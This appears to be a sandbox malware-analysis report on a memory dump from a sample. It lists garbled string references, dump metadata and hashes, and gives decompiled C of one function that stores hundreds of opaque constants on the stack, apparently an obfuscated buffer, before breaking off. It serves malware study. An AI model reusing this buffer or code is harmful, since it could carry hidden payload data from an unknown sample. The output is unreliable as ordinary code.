p*@[, xrefs: 0038768C
TK%C, xrefs: 003876F0
~z, xrefs: 00387308
~<,~, xrefs: 00387BDC
&t%, xrefs: 00387DA9
Kk3, xrefs: 003879E8
rrA, xrefs: 003877FE
6k-, xrefs: 00387240
W )m, xrefs: 0038793E
WC-, xrefs: 00387128
ANDr, xrefs: 00387A4C
)k, xrefs: 00387D6C
!X:, xrefs: 00387A92
5Ws, xrefs: 00387664
$"Ir, xrefs: 00386E8A
iJC, xrefs: 00387970
dlm(, xrefs: 00387682

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: !X:$$"Ir$&t%$)k$0Uy$4$5Ws$6k-$6vG$8AOX$;DVV$ANDr$Dg0$Kk3$NqnU$Py;$TK%C$W )m$WC-$dlm($iJC$jn<$p*@[$~<,~$~z$\{$rrA
API String ID: 1029625771-1061294748
Opcode ID: aaa01b37472643459a8a87679e655ecfbd3c1b8999c1cea4a8792719018c13f1
Instruction ID: 165324bbc51a7f4abfd91bc337837ba89124e041d91f1d9b9cbcdbe1407d549f
Opcode Fuzzy Hash: aaa01b37472643459a8a87679e655ecfbd3c1b8999c1cea4a8792719018c13f1
Instruction Fuzzy Hash: 1272B6F48567698FDB618F429E857CEBA74BB51304F6086C8C19D3B214CB714B86CF8A

Uniqueness

Uniqueness Score: 100.00%

Function 00387EDA, Relevance: 44.2, APIs: 1, Strings: 24, Instructions: 465
libraryUNIQUE

C-Code - Quality: 99%

			E00387EDA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t449;
				void* _t459;

				_t449 = __ebx;
				 *((intOrPtr*)(_t459 - 0x6ec)) = 0xa0c071cc;
				 *((intOrPtr*)(_t459 - 0x6e8)) = 0x9bb73ab5;
				 *((intOrPtr*)(_t459 - 0x6e4)) = 0x52a9d08b;
				 *((intOrPtr*)(_t459 - 0x6e0)) = 0x4f1f5fde;
				 *((intOrPtr*)(_t459 - 0x6dc)) = 0x35ef533d;
				 *((intOrPtr*)(_t459 - 0x6d8)) = 0xbdd6c1bd;
				 *((intOrPtr*)(_t459 - 0x6d4)) = 0xa01d0643;
				 *((intOrPtr*)(_t459 - 0x6d0)) = 0xabbfcbc;
				 *((intOrPtr*)(_t459 - 0x6cc)) = 0xf149beee;
				 *((intOrPtr*)(_t459 - 0x6c8)) = 0xf0d8b5ca;
				 *((intOrPtr*)(_t459 - 0x6c4)) = 0xff3369fa;
				 *((intOrPtr*)(_t459 - 0x6c0)) = 0x7241a174;
				 *((intOrPtr*)(_t459 - 0x6bc)) = 0x70bc76d8;
				 *((intOrPtr*)(_t459 - 0x6b8)) = 0x1b8da2f6;
				 *((intOrPtr*)(_t459 - 0x6b4)) = 0x9fe4e81b;
				 *((intOrPtr*)(_t459 - 0x6b0)) = 0x167cdea8;
				 *((intOrPtr*)(_t459 - 0x6ac)) = 0x12b3cdd;
				 *((intOrPtr*)(_t459 - 0x6a8)) = 0x64416271;
				 *((intOrPtr*)(_t459 - 0x6a4)) = 0x6b302f01;
				 *((intOrPtr*)(_t459 - 0x6a0)) = 0xd830ca75;
				 *((intOrPtr*)(_t459 - 0x69c)) = 0x9723f755;
				 *((intOrPtr*)(_t459 - 0x698)) = 0xf46e6d45;
				 *((intOrPtr*)(_t459 - 0x694)) = 0x4a119b87;
				 *((intOrPtr*)(_t459 - 0x690)) = 0xb317c56e;
				 *((intOrPtr*)(_t459 - 0x68c)) = 0x71bf6311;
				 *((intOrPtr*)(_t459 - 0x688)) = 0xc876d992;
				 *((intOrPtr*)(_t459 - 0x684)) = 0x20f1b1f2;
				 *((intOrPtr*)(_t459 - 0x680)) = 0x4e2d91b3;
				 *((intOrPtr*)(_t459 - 0x67c)) = 0x92fe6a64;
				 *((intOrPtr*)(_t459 - 0x678)) = 0xb78609f0;
				 *((intOrPtr*)(_t459 - 0x674)) = 0x51464964;
				 *((intOrPtr*)(_t459 - 0x670)) = 0x12b964d3;
				 *((intOrPtr*)(_t459 - 0x66c)) = 0x96ab1199;
				 *((intOrPtr*)(_t459 - 0x668)) = 0xb114d9c0;
				 *((intOrPtr*)(_t459 - 0x664)) = 0x27755429;
				 *((intOrPtr*)(_t459 - 0x660)) = 0xb3ebede3;
				 *((intOrPtr*)(_t459 - 0x65c)) = 0x9cfb7adf;
				 *((intOrPtr*)(_t459 - 0x658)) = 0xbc01c204;
				 *((intOrPtr*)(_t459 - 0x654)) = 0xf5f5d4da;
				 *((intOrPtr*)(_t459 - 0x650)) = 0x51727f9;
				 *((intOrPtr*)(_t459 - 0x64c)) = 0x3312b3c4;
				 *((intOrPtr*)(_t459 - 0x648)) = 0xf6b654f;
				 *((intOrPtr*)(_t459 - 0x644)) = 0xe4d8ef26;
				 *((intOrPtr*)(_t459 - 0x640)) = 0x1324a854;
				 *((intOrPtr*)(_t459 - 0x63c)) = 0x398e338e;
				 *((intOrPtr*)(_t459 - 0x638)) = 0x56191a1b;
				 *((intOrPtr*)(_t459 - 0x634)) = 0x4d7123b2;
				 *((intOrPtr*)(_t459 - 0x630)) = 0x1860ed94;
				 *((intOrPtr*)(_t459 - 0x62c)) = 0x8f86c3b7;
				 *((intOrPtr*)(_t459 - 0x628)) = 0xbf2410f0;
				 *((intOrPtr*)(_t459 - 0x624)) = 0xe7b17839;
				 *((intOrPtr*)(_t459 - 0x620)) = 0xcf91c527;
				 *((intOrPtr*)(_t459 - 0x61c)) = 0x901ffdef;
				 *((intOrPtr*)(_t459 - 0x618)) = 0xa9e8552;
				 *((intOrPtr*)(_t459 - 0x614)) = 0xad7c3360;
				 *((intOrPtr*)(_t459 - 0x610)) = 0xd82c9ec9;
				 *((intOrPtr*)(_t459 - 0x60c)) = 0xa92dc2fb;
				 *((intOrPtr*)(_t459 - 0x608)) = 0xf860d8e3;
				 *((intOrPtr*)(_t459 - 0x604)) = 0x575f57c9;
				 *((intOrPtr*)(_t459 - 0x600)) = 0xe8747164;
				 *((intOrPtr*)(_t459 - 0x5fc)) = 0xa7ba0712;
				 *((intOrPtr*)(_t459 - 0x5f8)) = 0x5673240a;
				 *((intOrPtr*)(_t459 - 0x5f4)) = 0xdf28c108;
				 *((intOrPtr*)(_t459 - 0x5f0)) = 0xb9844152;
				 *((intOrPtr*)(_t459 - 0x5ec)) = 0x581f9a5b;
				 *((intOrPtr*)(_t459 - 0x5e8)) = 0xf1dcd5e5;
				 *((intOrPtr*)(_t459 - 0x5e4)) = 0xf0d7713e;
				 *((intOrPtr*)(_t459 - 0x5e0)) = 0xd9d8a317;
				 *((intOrPtr*)(_t459 - 0x5dc)) = 0x20a59ab9;
				 *((intOrPtr*)(_t459 - 0x5d8)) = 0x585c987f;
				 *((intOrPtr*)(_t459 - 0x5d4)) = 0x72ec8c50;
				 *((intOrPtr*)(_t459 - 0x5d0)) = 0xdb084fb0;
				 *((intOrPtr*)(_t459 - 0x5cc)) = 0x51349e8e;
				 *((intOrPtr*)(_t459 - 0x5c8)) = 0xd0ef8d05;
				 *((intOrPtr*)(_t459 - 0x5c4)) = 0x5c7d90a8;
				 *((intOrPtr*)(_t459 - 0x5c0)) = 0xba326a4e;
				 *((intOrPtr*)(_t459 - 0x5bc)) = 0x1deabfa2;
				 *((intOrPtr*)(_t459 - 0x5b8)) = 0x6f9dd3db;
				 *((intOrPtr*)(_t459 - 0x5b4)) = 0xc67afd;
				 *((intOrPtr*)(_t459 - 0x5b0)) = 0x6cef40f1;
				 *((intOrPtr*)(_t459 - 0x5ac)) = 0xa7ffcd78;
				 *((intOrPtr*)(_t459 - 0x5a8)) = 0x5d4e839b;
				 *((intOrPtr*)(_t459 - 0x5a4)) = 0x26b1055b;
				 *((intOrPtr*)(_t459 - 0x5a0)) = 0x3d7ba41c;
				 *((intOrPtr*)(_t459 - 0x59c)) = 0x24940163;
				 *((intOrPtr*)(_t459 - 0x598)) = 0x7c0e000c;
				 *((intOrPtr*)(_t459 - 0x594)) = 0x350d2ce7;
				 *((intOrPtr*)(_t459 - 0x590)) = 0xb900a4a9;
				 *((intOrPtr*)(_t459 - 0x58c)) = 0x44caacfc;
				 *((intOrPtr*)(_t459 - 0x588)) = 0x8de812e4;
				 *((intOrPtr*)(_t459 - 0x584)) = 0xfe61ed02;
				 *((intOrPtr*)(_t459 - 0x580)) = 0x7d6dac7c;
				 *((intOrPtr*)(_t459 - 0x57c)) = 0x580092b0;
				 *((intOrPtr*)(_t459 - 0x578)) = 0xfd169b3e;
				 *((intOrPtr*)(_t459 - 0x574)) = 0x9a478c99;
				 *((intOrPtr*)(_t459 - 0x570)) = 0x63aa85c9;
				 *((intOrPtr*)(_t459 - 0x56c)) = 0x5c9e1f9a;
				 *((intOrPtr*)(_t459 - 0x568)) = 0xfac6b61f;
				 *((intOrPtr*)(_t459 - 0x564)) = 0x3a3b3232;
				 *((intOrPtr*)(_t459 - 0x560)) = 0xa14a0fed;
				 *((intOrPtr*)(_t459 - 0x55c)) = 0xc8cdc156;
				 *((intOrPtr*)(_t459 - 0x558)) = 0x607bc6e3;
				 *((intOrPtr*)(_t459 - 0x554)) = 0x5c8dbf84;
				 *((intOrPtr*)(_t459 - 0x550)) = 0x839b07bb;
				 *((intOrPtr*)(_t459 - 0x54c)) = 0xb43eb5ac;
				 *((intOrPtr*)(_t459 - 0x548)) = 0x6f770a2c;
				 *((intOrPtr*)(_t459 - 0x544)) = 0x195a3ba7;
				 *((intOrPtr*)(_t459 - 0x540)) = 0x696f80be;
				 *((intOrPtr*)(_t459 - 0x53c)) = 0xc08f29d6;
				 *((intOrPtr*)(_t459 - 0x538)) = 0xc6de1881;
				 *((intOrPtr*)(_t459 - 0x534)) = 0x7e561ed5;
				 *((intOrPtr*)(_t459 - 0x530)) = 0x15cf373c;
				 *((intOrPtr*)(_t459 - 0x52c)) = 0xd8ebff33;
				 *((intOrPtr*)(_t459 - 0x528)) = 0x493eb0a3;
				 *((intOrPtr*)(_t459 - 0x524)) = 0x11c8a13d;
				 *((intOrPtr*)(_t459 - 0x520)) = 0x33e873b1;
				 *((intOrPtr*)(_t459 - 0x51c)) = 0x9e2225a6;
				 *((intOrPtr*)(_t459 - 0x518)) = 0xa364df34;
				 *((intOrPtr*)(_t459 - 0x514)) = 0x4dea98b;
				 *((intOrPtr*)(_t459 - 0x510)) = 0xe6021df4;
				 *((intOrPtr*)(_t459 - 0x50c)) = 0x30b889bc;
				 *((intOrPtr*)(_t459 - 0x508)) = 0xc9e63817;
				 *((intOrPtr*)(_t459 - 0x504)) = 0x2f4dfa87;
				 *((intOrPtr*)(_t459 - 0x500)) = 0x3e5d2a67;
				 *((intOrPtr*)(_t459 - 0x4fc)) = 0x21fbfafd;
				 *((intOrPtr*)(_t459 - 0x4f8)) = 0x3a34d7bd;
				 *((intOrPtr*)(_t459 - 0x4f4)) = 0xb867db1b;
				 *((intOrPtr*)(_t459 - 0x4f0)) = 0x1e6d4c40;
				 *((intOrPtr*)(_t459 - 0x4ec)) = 0x736367ef;
				 *((intOrPtr*)(_t459 - 0x4e8)) = 0x623a0fa9;
				 *((intOrPtr*)(_t459 - 0x4e4)) = 0x4e9d3abf;
				 *((intOrPtr*)(_t459 - 0x4e0)) = 0xdf73bfa3;
				 *((intOrPtr*)(_t459 - 0x4dc)) = 0xd91eb4c5;
				 *((intOrPtr*)(_t459 - 0x4d8)) = 0xd42fd6b6;
				 *((intOrPtr*)(_t459 - 0x4d4)) = 0xf6bfe013;
				 *((intOrPtr*)(_t459 - 0x4d0)) = 0x919a39b3;
				 *((intOrPtr*)(_t459 - 0x4cc)) = 0xa9279007;
				 *((intOrPtr*)(_t459 - 0x4c8)) = 0x8e74b6c3;
				 *((intOrPtr*)(_t459 - 0x4c4)) = 0x568e20a8;
				 *((intOrPtr*)(_t459 - 0x4c0)) = 0xa9b69a0d;
				 *((intOrPtr*)(_t459 - 0x4bc)) = 0xb7fa6634;
				 *((intOrPtr*)(_t459 - 0x4b8)) = 0xcadaecb6;
				 *((intOrPtr*)(_t459 - 0x4b4)) = 0x63282eca;
				 *((intOrPtr*)(_t459 - 0x4b0)) = 0x28ba8b3b;
				 *((intOrPtr*)(_t459 - 0x4ac)) = 0x4c2b1cf9;
				 *((intOrPtr*)(_t459 - 0x4a8)) = 0xca198f28;
				 *((intOrPtr*)(_t459 - 0x4a4)) = 0x77359edd;
				 *((intOrPtr*)(_t459 - 0x4a0)) = 0xbde8cc95;
				 *((intOrPtr*)(_t459 - 0x49c)) = 0x4de44437;
				 *((intOrPtr*)(_t459 - 0x498)) = 0x7c80a6da;
				 *((intOrPtr*)(_t459 - 0x494)) = 0x87226145;
				 *((intOrPtr*)(_t459 - 0x490)) = 0x776f8899;
				 *((intOrPtr*)(_t459 - 0x48c)) = 0x1444b53a;
				 *((intOrPtr*)(_t459 - 0x488)) = 0x7ee72bcb;
				 *((intOrPtr*)(_t459 - 0x484)) = 0x1a011c91;
				 *((intOrPtr*)(_t459 - 0x480)) = 0x8e14892c;
				 *((intOrPtr*)(_t459 - 0x47c)) = 0xdf88afa8;
				 *((intOrPtr*)(_t459 - 0x478)) = 0x347d5648;
				 *((intOrPtr*)(_t459 - 0x474)) = 0xd4f3a094;
				 *((intOrPtr*)(_t459 - 0x470)) = 0x33b2dba4;
				 *((intOrPtr*)(_t459 - 0x46c)) = 0xd0d094d7;
				 *((intOrPtr*)(_t459 - 0x468)) = 0xb04b5f6;
				 *((intOrPtr*)(_t459 - 0x464)) = 0x4c974243;
				 *((intOrPtr*)(_t459 - 0x460)) = 0xd6ea779b;
				 *((intOrPtr*)(_t459 - 0x45c)) = 0x665a842;
				 *((intOrPtr*)(_t459 - 0x458)) = 0xb90c785f;
				 *((intOrPtr*)(_t459 - 0x454)) = 0x2fef1bac;
				 *((intOrPtr*)(_t459 - 0x450)) = 0x59d49e4a;
				 *((intOrPtr*)(_t459 - 0x44c)) = 0xc55aee70;
				 *((intOrPtr*)(_t459 - 0x448)) = 0xa7eb4932;
				 *((intOrPtr*)(_t459 - 0x444)) = 0xaf15bf99;
				 *((intOrPtr*)(_t459 - 0x440)) = 0x50440f6c;
				 *((intOrPtr*)(_t459 - 0x43c)) = 0x397930a3;
				 *((intOrPtr*)(_t459 - 0x438)) = 0x75dc675e;
				 *((intOrPtr*)(_t459 - 0x434)) = 0xd98c40c9;
				 *((intOrPtr*)(_t459 - 0x430)) = 0x32bcb4bb;
				 *((intOrPtr*)(_t459 - 0x42c)) = 0x3ae77bfc;
				 *((intOrPtr*)(_t459 - 0x428)) = 0xa023b195;
				 *((intOrPtr*)(_t459 - 0x424)) = 0x5f344b1c;
				 *((intOrPtr*)(_t459 - 0x420)) = 0xdfab5a6e;
				 *((intOrPtr*)(_t459 - 0x41c)) = 0x2d9d32b;
				 *((intOrPtr*)(_t459 - 0x418)) = 0xb4cbc1;
				 *((intOrPtr*)(_t459 - 0x414)) = 0xeba52220;
				 *((intOrPtr*)(_t459 - 0x410)) = 0xaba46533;
				 *((intOrPtr*)(_t459 - 0x40c)) = 0x733b9757;
				 *((intOrPtr*)(_t459 - 0x408)) = 0x386470b0;
				 *((intOrPtr*)(_t459 - 0x404)) = 0x51a0ca39;
				 *((intOrPtr*)(_t459 - 0x400)) = 0x61a9e026;
				 *((intOrPtr*)(_t459 - 0x3fc)) = 0x4b55f9a6;
				 *((intOrPtr*)(_t459 - 0x3f8)) = 0xafdcfc4c;
				 *((intOrPtr*)(_t459 - 0x3f4)) = 0x4a2034a0;
				 *((intOrPtr*)(_t459 - 0x3f0)) = 0xa6bac99;
				 *((intOrPtr*)(_t459 - 0x3ec)) = 0x1862de4b;
				 *((intOrPtr*)(_t459 - 0x3e8)) = 0x443f49a6;
				 *((intOrPtr*)(_t459 - 0x3e4)) = 0x9d3eab52;
				 *((intOrPtr*)(_t459 - 0x3e0)) = 0x3e91296b;
				 *((intOrPtr*)(_t459 - 0x3dc)) = 0x93a5531d;
				 *((intOrPtr*)(_t459 - 0x3d8)) = 0xda32c3;
				 *((intOrPtr*)(_t459 - 0x3d4)) = 0xdaad4fb0;
				 *((intOrPtr*)(_t459 - 0x3d0)) = 0x108d1f41;
				 *((intOrPtr*)(_t459 - 0x3cc)) = 0x742a0a91;
				 *((intOrPtr*)(_t459 - 0x3c8)) = 0xa89a3a5b;
				 *((intOrPtr*)(_t459 - 0x3c4)) = 0x967890e7;
				 *((intOrPtr*)(_t459 - 0x3c0)) = 0x8763ab4e;
				 *((intOrPtr*)(_t459 - 0x3bc)) = 0x5e95588;
				 *((intOrPtr*)(_t459 - 0x3b8)) = 0x939b28c7;
				 *((intOrPtr*)(_t459 - 0x3b4)) = 0xd131551c;
				 *((intOrPtr*)(_t459 - 0x3b0)) = 0x4a0ad4b2;
				 *((intOrPtr*)(_t459 - 0x3ac)) = 0x9b6a7b4f;
				 *((intOrPtr*)(_t459 - 0x3a8)) = 0x43f6deee;
				 *((intOrPtr*)(_t459 - 0x3a4)) = 0xa03a78f8;
				 *((intOrPtr*)(_t459 - 0x3a0)) = 0x509078a9;
				 *((intOrPtr*)(_t459 - 0x39c)) = 0x54cca0c6;
				 *((intOrPtr*)(_t459 - 0x398)) = 0x656713;
				 *((intOrPtr*)(_t459 - 0x394)) = 0x5211840e;
				 *((intOrPtr*)(_t459 - 0x390)) = 0x382f332b;
				 *((intOrPtr*)(_t459 - 0x38c)) = 0xaefc67d5;
				 *((intOrPtr*)(_t459 - 0x388)) = 0xa5eed0d7;
				 *((intOrPtr*)(_t459 - 0x384)) = 0xb5de2b00;
				 *((intOrPtr*)(_t459 - 0x380)) = 0xc5ec0a05;
				 *((intOrPtr*)(_t459 - 0x37c)) = 0x94ef807f;
				 *((intOrPtr*)(_t459 - 0x378)) = 0xd1cdc53c;
				 *((intOrPtr*)(_t459 - 0x374)) = 0x3a58f54a;
				 *((intOrPtr*)(_t459 - 0x370)) = 0xbd2e1c30;
				 *((intOrPtr*)(_t459 - 0x36c)) = 0x859a7472;
				 *((intOrPtr*)(_t459 - 0x368)) = 0x674c612d;
				 *((intOrPtr*)(_t459 - 0x364)) = 0x120289aa;
				 *((intOrPtr*)(_t459 - 0x360)) = 0xceafb5c8;
				 *((intOrPtr*)(_t459 - 0x35c)) = 0x5dcb6129;
				 *((intOrPtr*)(_t459 - 0x358)) = 0x6bbd990d;
				 *((intOrPtr*)(_t459 - 0x354)) = 0x26cdff01;
				 *((intOrPtr*)(_t459 - 0x350)) = 0x3c592aea;
				 *((intOrPtr*)(_t459 - 0x34c)) = 0xe6067d3c;
				 *((intOrPtr*)(_t459 - 0x348)) = 0xde8cffd2;
				 *((intOrPtr*)(_t459 - 0x344)) = 0x4a6f6245;
				 *((intOrPtr*)(_t459 - 0x340)) = 0xb3b05007;
				 *((intOrPtr*)(_t459 - 0x33c)) = 0x79dcb20;
				 *((intOrPtr*)(_t459 - 0x338)) = 0xcb195be6;
				 *((intOrPtr*)(_t459 - 0x334)) = 0xa707ccf8;
				 *((intOrPtr*)(_t459 - 0x330)) = 0x2facb713;
				 *((intOrPtr*)(_t459 - 0x32c)) = 0x34a356b9;
				 *((intOrPtr*)(_t459 - 0x328)) = 0x44f720ed;
				 *((intOrPtr*)(_t459 - 0x324)) = 0x5ccbda71;
				 *((intOrPtr*)(_t459 - 0x320)) = 0x7ed7ac53;
				 *((intOrPtr*)(_t459 - 0x31c)) = 0xb5be6105;
				 *((intOrPtr*)(_t459 - 0x318)) = 0x9845207;
				 *((intOrPtr*)(_t459 - 0x314)) = 0x3e199247;
				 *((intOrPtr*)(_t459 - 0x310)) = 0xcd159d32;
				 *((intOrPtr*)(_t459 - 0x30c)) = 0x4e6a7e4b;
				 *((intOrPtr*)(_t459 - 0x308)) = 0xdd78840b;
				 *((intOrPtr*)(_t459 - 0x304)) = 0x1eeccb87;
				 *((intOrPtr*)(_t459 - 0x300)) = 0x49d11f71;
				 *((intOrPtr*)(_t459 - 0x2fc)) = 0x86503fa9;
				 *((intOrPtr*)(_t459 - 0x2f8)) = 0x3c3035b6;
				 *((intOrPtr*)(_t459 - 0x2f4)) = 0x150cf378;
				 *((intOrPtr*)(_t459 - 0x2f0)) = 0x2d81ef6c;
				 *((intOrPtr*)(_t459 - 0x2ec)) = 0x226ef342;
				 *((intOrPtr*)(_t459 - 0x2e8)) = 0x7b33d083;
				 *((intOrPtr*)(_t459 - 0x2e4)) = 0xbddd219;
				 *((intOrPtr*)(_t459 - 0x2e0)) = 0xcca97f8b;
				 *((intOrPtr*)(_t459 - 0x2dc)) = 0x7b4c58d8;
				 *((intOrPtr*)(_t459 - 0x2d8)) = 0x23080198;
				 *((intOrPtr*)(_t459 - 0x2d4)) = 0xedee0c3a;
				 *((intOrPtr*)(_t459 - 0x2d0)) = 0x56c8c1e9;
				 *((intOrPtr*)(_t459 - 0x2cc)) = 0xba22c650;
				 *((intOrPtr*)(_t459 - 0x2c8)) = 0x561c3093;
				 *((intOrPtr*)(_t459 - 0x2c4)) = 0xc69ffdfb;
				 *((intOrPtr*)(_t459 - 0x2c0)) = 0xc4a68727;
				 *((intOrPtr*)(_t459 - 0x2bc)) = 0xf994fc95;
				 *((intOrPtr*)(_t459 - 0x2b8)) = 0xdae189dc;
				 *((intOrPtr*)(_t459 - 0x2b4)) = 0xe2f88e3b;
				 *((intOrPtr*)(_t459 - 0x2b0)) = 0xb068767f;
				 *((intOrPtr*)(_t459 - 0x2ac)) = 0x81f7cf1;
				 *((intOrPtr*)(_t459 - 0x2a8)) = 0xd41cb313;
				 *((intOrPtr*)(_t459 - 0x2a4)) = 0x43582f47;
				 *((intOrPtr*)(_t459 - 0x2a0)) = 0xd600406;
				 *((intOrPtr*)(_t459 - 0x29c)) = 0x3e60b941;
				 *((intOrPtr*)(_t459 - 0x298)) = 0xdfa4463c;
				 *((intOrPtr*)(_t459 - 0x294)) = 0xb6e2a7d6;
				 *((intOrPtr*)(_t459 - 0x290)) = 0xa05f5f07;
				 *((intOrPtr*)(_t459 - 0x28c)) = 0xfc88eea5;
				 *((intOrPtr*)(_t459 - 0x288)) = 0xf4a6fd20;
				 *((intOrPtr*)(_t459 - 0x284)) = 0xbe00a37f;
				 *((intOrPtr*)(_t459 - 0x280)) = 0xc9fbaed0;
				 *((intOrPtr*)(_t459 - 0x27c)) = 0x35e9198a;
				 *((intOrPtr*)(_t459 - 0x278)) = 0xdd8864c7;
				 *((intOrPtr*)(_t459 - 0x274)) = 0xb8888645;
				 *((intOrPtr*)(_t459 - 0x270)) = 0x2690436f;
				 *((intOrPtr*)(_t459 - 0x26c)) = 0x5db88cab;
				 *((intOrPtr*)(_t459 - 0x268)) = 0xa3293499;
				 *((intOrPtr*)(_t459 - 0x264)) = 0x9c23469f;
				 *((intOrPtr*)(_t459 - 0x260)) = 0x25e6bcaa;
				 *((intOrPtr*)(_t459 - 0x25c)) = 0x55c96e0b;
				 *((intOrPtr*)(_t459 - 0x258)) = 0xd4eb9388;
				 *((intOrPtr*)(_t459 - 0x254)) = 0x25969ab0;
				 *((intOrPtr*)(_t459 - 0x250)) = 0x3e8a84d;
				 *((intOrPtr*)(_t459 - 0x24c)) = 0x5c021f0b;
				 *((intOrPtr*)(_t459 - 0x248)) = 0xf8377e6b;
				 *((intOrPtr*)(_t459 - 0x244)) = 0x5153dc57;
				 *((intOrPtr*)(_t459 - 0x240)) = 0x8cd535ab;
				 *((intOrPtr*)(_t459 - 0x23c)) = 0xaec48535;
				 *((intOrPtr*)(_t459 - 0x238)) = 0x9cc9ceb9;
				 *((intOrPtr*)(_t459 - 0x234)) = 0x60af91c8;
				 *((intOrPtr*)(_t459 - 0x230)) = 0x5036fd4a;
				 *((intOrPtr*)(_t459 - 0x22c)) = 0xaa068898;
				 *((intOrPtr*)(_t459 - 0x228)) = 0xef618e9f;
				 *((intOrPtr*)(_t459 - 0x224)) = 0xfb0db0fc;
				 *((intOrPtr*)(_t459 - 0x220)) = 0xc75df692;
				 *((intOrPtr*)(_t459 - 0x21c)) = 0x643bba31;
				 *((intOrPtr*)(_t459 - 0x218)) = 0xcc16cebb;
				 *((intOrPtr*)(_t459 - 0x214)) = 0x2cb02f95;
				 *((intOrPtr*)(_t459 - 0x210)) = 0x8fb03f1c;
				 *((intOrPtr*)(_t459 - 0x20c)) = 0x7ba65da5;
				 *((intOrPtr*)(_t459 - 0x208)) = 0x4e9a1518;
				 *((intOrPtr*)(_t459 - 0x204)) = 0xb0eacead;
				 *((intOrPtr*)(_t459 - 0x200)) = 0x1ba5bc11;
				 *((intOrPtr*)(_t459 - 0x1fc)) = 0x5d065e54;
				 *((intOrPtr*)(_t459 - 0x1f8)) = 0x25fe4d66;
				 *((intOrPtr*)(_t459 - 0x1f4)) = 0xf4d6cee6;
				 *((intOrPtr*)(_t459 - 0x1f0)) = 0xa911d07b;
				 *((intOrPtr*)(_t459 - 0x1ec)) = 0x5afad65f;
				 *((intOrPtr*)(_t459 - 0x1e8)) = 0xbe3e4460;
				 *((intOrPtr*)(_t459 - 0x1e4)) = 0x118c2732;
				 *((intOrPtr*)(_t459 - 0x1e0)) = 0x829a26ed;
				 *((intOrPtr*)(_t459 - 0x1dc)) = 0x86ce9ce7;
				 *((intOrPtr*)(_t459 - 0x1d8)) = 0x211f7f09;
				 *((intOrPtr*)(_t459 - 0x1d4)) = 0xf9de4b2d;
				 *((intOrPtr*)(_t459 - 0x1d0)) = 0xd140063b;
				 *((intOrPtr*)(_t459 - 0x1cc)) = 0x3bdaa78a;
				 *((intOrPtr*)(_t459 - 0x1c8)) = 0xb5457f90;
				 *((intOrPtr*)(_t459 - 0x1c4)) = 0x3ce80fc7;
				 *((intOrPtr*)(_t459 - 0x1c0)) = 0xe8e6002b;
				 *((intOrPtr*)(_t459 - 0x1bc)) = 0x76542625;
				 *((intOrPtr*)(_t459 - 0x1b8)) = 0x86467745;
				 *((intOrPtr*)(_t459 - 0x1b4)) = 0x84c9e2bc;
				 *((intOrPtr*)(_t459 - 0x1b0)) = 0x7d02d01b;
				 *((intOrPtr*)(_t459 - 0x1ac)) = 0xe4013ce6;
				 *((intOrPtr*)(_t459 - 0x1a8)) = 0xcc7155c6;
				 *((intOrPtr*)(_t459 - 0x1a4)) = 0xc6682b62;
				 *((intOrPtr*)(_t459 - 0x1a0)) = 0xbe254a9;
				 *((intOrPtr*)(_t459 - 0x19c)) = 0x9bf8e2e9;
				 *((intOrPtr*)(_t459 - 0x198)) = 0xef1fe9af;
				 *((intOrPtr*)(_t459 - 0x194)) = 0xd5951ede;
				 *((intOrPtr*)(_t459 - 0x190)) = 0x5a89d7ca;
				 *((intOrPtr*)(_t459 - 0x18c)) = 0xca295347;
				 *((intOrPtr*)(_t459 - 0x188)) = 0x2a36f333;
				 *((intOrPtr*)(_t459 - 0x184)) = 0x15a0d91a;
				 *((intOrPtr*)(_t459 - 0x180)) = 0xf8e10016;
				 *((intOrPtr*)(_t459 - 0x17c)) = 0x432d4554;
				 *((intOrPtr*)(_t459 - 0x178)) = 0x46276497;
				 *((intOrPtr*)(_t459 - 0x174)) = 0x384f82e3;
				 *((intOrPtr*)(_t459 - 0x170)) = 0xf78e368c;
				 *((intOrPtr*)(_t459 - 0x16c)) = 0x5e1cb45;
				 *((intOrPtr*)(_t459 - 0x168)) = 0xfcee7480;
				 *((intOrPtr*)(_t459 - 0x164)) = 0x652d892a;
				 *((intOrPtr*)(_t459 - 0x160)) = 0x311cc00e;
				 *((intOrPtr*)(_t459 - 0x15c)) = 0x84970e8;
				 *((intOrPtr*)(_t459 - 0x158)) = 0x6d0e683c;
				 *((intOrPtr*)(_t459 - 0x154)) = 0x660f5069;
				 *((intOrPtr*)(_t459 - 0x150)) = 0x7780fb0a;
				 *((intOrPtr*)(_t459 - 0x14c)) = 0x55078e6f;
				 *((intOrPtr*)(_t459 - 0x148)) = 0xd56f60a4;
				 *((intOrPtr*)(_t459 - 0x144)) = 0xa5606620;
				 *((intOrPtr*)(_t459 - 0x140)) = 0xbc32b2f9;
				 *((intOrPtr*)(_t459 - 0x13c)) = 0x1ec4a89a;
				 *((intOrPtr*)(_t459 - 0x138)) = 0x77965ad1;
				 *((intOrPtr*)(_t459 - 0x134)) = 0xc67cbc33;
				 *((intOrPtr*)(_t459 - 0x130)) = 0x79d24d7a;
				 *((intOrPtr*)(_t459 - 0x12c)) = 0xc54c9af8;
				 *((intOrPtr*)(_t459 - 0x128)) = 0x1da74d14;
				 *((intOrPtr*)(_t459 - 0x124)) = 0x26422218;
				 *((intOrPtr*)(_t459 - 0x120)) = 0x633d8225;
				 *((intOrPtr*)(_t459 - 0x11c)) = 0x82af4c46;
				 *((intOrPtr*)(_t459 - 0x118)) = 0xadb1e9c8;
				 *((intOrPtr*)(_t459 - 0x114)) = 0xdeeda903;
				 *((intOrPtr*)(_t459 - 0x110)) = 0xe3bd0010;
				 *((intOrPtr*)(_t459 - 0x10c)) = 0xdae9191c;
				 *((intOrPtr*)(_t459 - 0x108)) = 0x9e7ec74e;
				 *((intOrPtr*)(_t459 - 0x104)) = 0x1534160a;
				 *((intOrPtr*)(_t459 - 0x100)) = 0xc3e23686;
				 *((intOrPtr*)(_t459 - 0xfc)) = 0x7365be1a;
				 *((intOrPtr*)(_t459 - 0xf8)) = 0x91616671;
				 *((intOrPtr*)(_t459 - 0xf4)) = 0xc5177a2e;
				 *((intOrPtr*)(_t459 - 0xf0)) = 0x405baa7e;
				 *((intOrPtr*)(_t459 - 0xec)) = 0x220f18ba;
